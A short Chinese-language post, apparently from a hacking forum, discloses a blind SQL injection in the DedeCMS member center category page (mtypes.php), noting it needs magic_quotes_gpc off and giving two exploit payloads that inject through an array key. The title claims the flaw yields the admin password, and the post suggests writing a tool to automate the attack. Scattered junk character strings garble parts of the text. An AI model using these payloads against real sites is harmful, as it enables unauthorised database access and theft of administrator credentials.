DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码

admin

需要magic_quotes_gpc = Off,所以说是鸡肋啊.
( I. H8 m; ^+ H7 V' ]

4 r( o3 l4 k/ E- ?$ e- a, U发生在数组key里的注射漏洞,有点意思.

& N1 M1 K0 x& Y3 K2 i, B5 Q  z这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
: N8 a( {" `! d7 D7 t% J7 T
+ ~1 m! a4 s( I- T. S5 t" Dhttp://www.xxx.com /dede/member/mtypes.php?dopost=save
/ L3 T5 D, \) o0 k# F5 M
+ z4 K+ E! Y& ]exploit:
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r